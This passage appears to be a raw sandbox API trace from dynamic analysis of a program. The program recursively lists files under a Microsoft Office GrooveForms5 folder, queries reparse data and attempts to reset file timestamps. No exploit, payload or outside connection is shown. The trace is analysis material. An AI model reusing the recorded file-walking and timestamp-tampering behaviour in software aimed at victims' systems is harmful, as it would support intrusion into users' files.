BaseAddress=0xab7b50) returned 1 [0076.307] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6686c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd41db50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc6686c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x132a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Earthy.gif", cAlternateFileName="")) returned 1 [0076.307] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.307] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.307] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.307] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.307] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.307] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaef80 [0076.307] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa9b6a0 [0076.307] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.307] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6686c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd41db50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc6686c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x5690, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_GreenTea.gif", cAlternateFileName="")) returned 1 [0076.307] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.307] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.307] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.307] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.307] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.308] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaefa0 [0076.308] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa9b7a8 [0076.308] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.308] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6686c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc6686c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Groove.gif", cAlternateFileName="")) returned 1 [0076.308] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.308] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.308] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.308] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.308] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.308] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaefc0 [0076.308] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa9b8b0 [0076.308] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x3a80) returned 0xac6708 [0076.308] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xac2cc0) returned 1 [0076.308] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.308] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6686c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc6686c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x21a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_LightSpirit.gif", cAlternateFileName="")) returned 1 [0076.308] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.308] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.309] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.309] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.309] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.309] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaefe0 [0076.309] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa9b9b8 [0076.309] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.309] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6686c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc6686c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3d57, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_OliveGreen.gif", cAlternateFileName="")) returned 1 [0076.309] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.309] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.309] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.309] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.309] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.309] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf000 [0076.309] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa9bac0 [0076.309] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.309] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6686c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc6686c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1845, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Premium.gif", cAlternateFileName="")) returned 1 [0076.309] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.310] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.310] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.310] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.310] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.310] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf020 [0076.310] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa9bbc8 [0076.310] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.310] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6686c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc6686c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x5141, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_SlateBlue.gif", cAlternateFileName="")) returned 1 [0076.310] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.310] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.310] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.310] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.310] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.310] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf040 [0076.310] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa9bcd0 [0076.310] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.311] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6686c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc6686c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x193c, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_TexturedBlue.gif", cAlternateFileName="")) returned 1 [0076.311] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.311] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.311] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.311] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.311] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.311] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf060 [0076.311] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa9bdd8 [0076.311] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.311] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6686c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc6686c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_VelvetRose.gif", cAlternateFileName="")) returned 1 [0076.311] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.311] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.311] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.311] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.311] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.311] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf080 [0076.311] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa9bee0 [0076.312] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.312] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6cb410, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsStyles", cAlternateFileName="")) returned 1 [0076.312] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6cb410, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsStyles", cAlternateFileName="")) returned 0 [0076.312] GetLastError () returned 0x12 [0076.312] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0076.312] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0076.312] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd443cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.312] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5373f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd3f79f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc5373f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x614e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BG_ADOBE.GIF", cAlternateFileName="")) returned 1 [0076.312] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5373f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd41db50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc5373f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x161d, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Casual.gif", cAlternateFileName="")) returned 1 [0076.312] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6686c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd41db50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc6686c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x7dd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Country.gif", cAlternateFileName="")) returned 1 [0076.312] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6686c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd41db50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc6686c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x132a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Earthy.gif", cAlternateFileName="")) returned 1 [0076.312] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6686c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd41db50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc6686c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x5690, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_GreenTea.gif", cAlternateFileName="")) returned 1 [0076.312] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6686c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc6686c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Groove.gif", cAlternateFileName="")) returned 1 [0076.312] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6686c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc6686c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x21a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_LightSpirit.gif", cAlternateFileName="")) returned 1 [0076.312] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6686c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc6686c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3d57, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_OliveGreen.gif", cAlternateFileName="")) returned 1 [0076.312] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6686c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc6686c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1845, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Premium.gif", cAlternateFileName="")) returned 1 [0076.312] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6686c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc6686c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x5141, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_SlateBlue.gif", cAlternateFileName="")) returned 1 [0076.312] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6686c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc6686c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x193c, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_TexturedBlue.gif", cAlternateFileName="")) returned 1 [0076.312] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6686c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc6686c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_VelvetRose.gif", cAlternateFileName="")) returned 1 [0076.312] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6cb410, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsStyles", cAlternateFileName="")) returned 1 [0076.312] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa9bfe8 [0076.313] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6cb410, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0076.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0076.367] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0076.367] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xaca190 [0076.368] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xaca190, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0xaca190, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0076.368] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaca190) returned 1 [0076.368] NtClose (Handle=0x168) returned 0x0 [0076.368] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa9bfe8) returned 1 [0076.368] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.368] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0076.368] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa9bfe8 [0076.368] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.368] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa9c0f0 [0076.368] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0076.414] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6cb410, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.476] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd3f79f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x75c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe.css", cAlternateFileName="")) returned 1 [0076.476] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.477] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.477] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.477] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.477] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0076.477] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa9c1f8 [0076.477] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0076.477] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf0a0 [0076.477] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa9c300 [0076.477] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0076.477] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4b60d0, 